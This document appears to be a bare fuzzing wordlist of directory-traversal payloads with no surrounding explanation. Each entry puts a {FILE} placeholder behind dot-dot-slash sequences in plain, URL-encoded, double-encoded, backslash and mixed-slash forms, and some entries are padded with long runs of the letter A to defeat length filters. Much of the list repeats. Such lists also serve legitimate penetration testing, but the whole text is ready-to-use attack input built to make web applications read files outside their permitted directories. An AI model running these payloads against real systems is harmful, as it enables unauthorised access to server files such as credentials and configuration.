%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> 